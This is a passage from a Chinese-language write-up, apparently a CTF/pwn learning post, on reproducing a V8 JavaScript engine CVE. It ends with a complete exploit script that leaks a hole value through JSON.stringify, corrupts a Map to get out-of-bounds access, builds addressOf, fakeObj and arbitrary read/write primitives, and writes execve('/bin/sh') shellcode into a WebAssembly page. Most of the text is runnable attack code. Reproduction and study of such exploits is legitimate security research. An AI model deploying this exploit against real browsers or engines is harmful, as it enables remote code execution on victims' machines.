var f = wasmInstance.exports.main;

shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n);
print("shellcode_addr = 0x" + hex(shellcode_addr));
```

### 通过任意地址写plus，写入shellcode

```javascript
var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ]
shellcode_write(shellcode_addr, shellcode);
```

`shellcode_write`函数需要通过任意地址写plus实现，具体如下

```javascript
function shellcode_write(addr,shellcode)
{
 var data_buf = new ArrayBuffer(shellcode.length);
 var data_view = new DataView(data_buf);
 var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n;
 write64(buf_backing_store_addr,addr);
 for (let i=0;i<shellcode.length;++i) {
 data_view.setUint8(i,shellcode[i]);
 }
}
```

由于backing_store在JSArrayBuffer结构体+0x28的位置，因此需要通过write64控制这个字段，随后多次调用`setUint8`方法即可逐字节写入shellcode

写完后执行

```javascript
f();
```

即可获得shell

![image-20260402182426460](upload/attach/202605/1007352_C3NAWQXMT3CQXMM.png)

### 完整exp如下

```javascript
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

// Double to Uint32
function d2u(v) {
    f64[0] = v;
    return u32;
}

// Uint32 to Double
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

// Float to Integer
function ftoi(f)
{
    f64[0] = f;
    return bigUint64[0];
}

// Integer to Float
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function addressOf(obj_to_leak)
{
    obj_arr[0] = obj_to_leak;
    oob_arr[0x36] = itof(DOUBLE_MAP);
    let target_var_addr = ftoi(obj_arr[0]);
    oob_arr[0x36] = itof(OBJECT_MAP);
    return target_var_addr;
}

function fakeObj(addr_to_fake)
{
    victim_arr[0] = itof(addr_to_fake+1n);
    oob_arr[0x10] = itof(OBJECT_MAP);
    let fake_obj = victim_arr[0];
    oob_arr[0x10] = itof(DOUBLE_MAP);
    return fake_obj;
}

function read64(addr)
{
    victim_arr[4] = itof(addr - 0x10n + 0x1n);
    return ftoi(fake_object[0]);
}

function write64(addr, data)
{
    victim_arr[4] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

function shellcode_write(addr,shellcode)
{
 var data_buf = new ArrayBuffer(shellcode.length);
 var data_view = new DataView(data_buf);
 var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n;
 write64(buf_backing_store_addr,addr);
 for (let i=0;i<shellcode.length;++i) {
 data_view.setUint8(i,shellcode[i]);
 }
}

function trigger() {
 let a = [], b = [];
 let s = '"'.repeat(0x800000);
 a[20000] = s;
 for (let i = 0; i < 10; i++) a[i] = s;
 for (let i = 0; i < 10; i++) b[i] = a;

try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

let hole = trigger();

var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);

print("map.size =", map.size)

oob_arr = [1.1, 1.1, 1.1, 1.1];
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
obj_arr = [{}, {}, {}, {}];

map.set(0x17, -1);
map.set(0x103, 0);

const DOUBLE_MAP = ftoi(oob_arr[0x10]);
const OBJECT_MAP = ftoi(oob_arr[0x36]);
print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP));
print("OBJECT_MAP = 0x" + hex(OBJECT_MAP));

victim_arr_addr = addressOf(victim_arr) - 1n;
print("victim_arr_addr = 0x" + hex(victim_arr_addr));

victim_arr[2] = itof(DOUBLE_MAP);
victim_arr[3] = itof(0n);
victim_arr[4] = itof(0x41414141n);
victim_arr[5] = itof(0x0000000100000000n);

fake_object_addr = victim_arr_addr - 0x20n;
fake_object = fakeObj(fake_object_addr);

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n);
print("shellcode_addr = 0x" + hex(shellcode_addr));

var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ]
shellcode_write(shellcode_addr, shellcode);

f();
```

## 结语

这篇文章主要关注于已知漏洞的利用，并非漏洞的挖掘。在赛场上需要在有效的时间内完成验证POC到编写EXP的整个流程，因此调试的思路是很重要的。这个CVE网上流传的EXP绝大多数不能用，这个和不同版本v8的字段偏移有关，比如WASM段在wasmInstance结构体中的偏移和backing_store在JSArrayBuffer中的偏移都需要通过调试获得，同时也和不同版本v8变量的底层存储逻辑有关。

这篇文章记录了我从0基础到完成v8 CVE复现的整个流程，耗时两周。实话实说挺坐牢的，好在最终拿到了shell，也成功入门v8，成就感直接爆表。作为pwn手的我不就期待着这一刻吗( •́ .̫ •̀ )。

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

收藏・5

点赞・7

打赏